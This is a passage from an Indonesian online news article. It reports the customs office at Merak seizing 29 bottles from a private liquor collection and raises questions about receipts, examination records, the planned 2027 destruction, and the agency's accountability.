WIB. Persoalan lain muncul setelah pemeriksaan. Handy mengaku tidak membawa salinan Berita Acara Pemeriksaan (BAP) yang telah ditandatanganinya. Ia mengatakan saat itu tidak terpikir untuk meminta salinan karena pemeriksaan berlangsung hingga larut malam. Sementara itu, 29 botol minuman tersebut tetap berada dalam penguasaan Bea Cukai Merak. Kondisi ini memunculkan kebutuhan akan penjelasan mengenai dokumen pemeriksaan yang dibuat, hak pihak yang diperiksa untuk memperoleh dokumen terkait, serta prosedur administrasi yang berlaku dalam perkara tersebut. *Barang Disebut Akan Dimusnahkan pada 2027* Dalam klarifikasi kepada awak media, petugas Bea Cukai Merak menyampaikan bahwa 29 botol minuman tersebut masih ada dan direncanakan akan dimusnahkan di Tangerang pada 2027. Petugas juga menyatakan pemilik dapat datang ke kantor Bea Cukai untuk mengambil tanda terima dan menyaksikan proses pemusnahan. “Pemilik silakan datang untuk mengambil tanda terima dan bisa menyaksikan pada saat barang dimusnahkan,” kata petugas. Namun, ketika awak media meminta melihat barang yang dimaksud, mereka tidak diperkenankan mengakses atau menyaksikan barang tersebut secara langsung. Penolakan itu tidak dengan sendirinya membuktikan adanya penyimpangan. Akses terhadap barang bukti memang dapat dibatasi berdasarkan ketentuan yang berlaku. Meski begitu, alasan pembatasan tersebut perlu dijelaskan agar tidak menimbulkan pertanyaan mengenai transparansi penanganan barang. Apalagi, rencana pemusnahan pada 2027 telah disampaikan, sementara persoalan tanda terima dan dasar hukum penindakan masih membutuhkan penjelasan yang lebih lengkap. Bea Cukai Merak perlu memastikan bahwa identitas, jumlah, kondisi, pencatatan, dan status hukum barang dapat dipertanggungjawabkan sesuai prosedur. *Pemilik Berharap Barang Dikembalikan* Budi berharap 29 botol minuman koleksinya dapat dikembalikan. Menurut keterangan yang disampaikan, minuman tersebut merupakan koleksi pribadi yang telah dimiliki sejak 2011 dan dibeli melalui fasilitas duty free di bandara. Karena membutuhkan uang, Budi kemudian memutuskan menjual koleksinya melalui Handy sebagai perantara. Budi juga disebut bersedia memenuhi kewajiban pembayaran cukai atau denda apabila memang diwajibkan berdasarkan ketentuan yang berlaku. Namun, kesediaan tersebut tidak serta-merta menentukan apakah barang dapat dikembalikan. Status kepabeanan dan cukai, ketentuan pembelian melalui fasilitas duty free, serta legalitas penjualan kembali harus diperiksa berdasarkan dokumen dan fakta yang sebenarnya. Karena itu, persoalan ini perlu diselesaikan berdasarkan ketentuan hukum, bukan sekadar berdasarkan pengakuan pemilik bahwa dirinya tidak mengetahui aturan. *Kewenangan Harus Disertai Akuntabilitas* Ada sejumlah pertanyaan yang kini menunggu jawaban Bea Cukai Merak. Apa dasar hukum penindakan terhadap 29 botol tersebut? Mengapa tanda terima tidak diberikan ketika barang diamankan? Bagaimana mekanisme memperoleh salinan BAP? Apa status hukum barang saat ini, dan apa dasar rencana pemusnahannya pada 2027? Selain itu, perlu dijelaskan mekanisme keberatan atau penyelesaian yang dapat ditempuh pemilik, termasuk kemungkinan pengembalian barang apabila memenuhi persyaratan hukum. Nomor Surat Bukti Penindakan yang telah disebutkan petugas merupakan salah satu dokumen yang dapat menjadi titik awal penelusuran. Namun, keberadaan dokumen tersebut belum dengan sendirinya menjawab seluruh pertanyaan mengenai prosedur, status barang, dan hak pihak yang berkepentingan. Awak media juga perlu memperoleh penjelasan mengenai alasan tidak diperkenankannya melihat barang yang disebut masih tersimpan di kantor Bea Cukai. Penindakan oleh aparat memiliki dasar kewenangan yang harus dihormati. Namun, kewenangan tersebut juga harus berjalan seiring dengan administrasi yang tertib, kepastian hukum, dan akuntabilitas. Ketika barang milik masyarakat telah diamankan, kejelasan mengenai alasan penindakan, bukti administrasi, dan mekanisme penyelesaian bukanlah hal sepele. Hingga berita ini disusun, penjelasan lengkap mengenai dasar hukum penindakan, alasan tidak diberikannya tanda terima saat barang diamankan, serta mekanisme pengembalian atau pemusnahan 29 botol minuman tersebut masih perlu dikonfirmasi lebih lanjut kepada Bea Cukai Merak.

Oktober 15, 2026
Next Post

Horizon 2026 BluRay AVC 4K .torrent

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,491)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (293)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,701)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (616)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,071)
  • TNI/POLRI (197)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara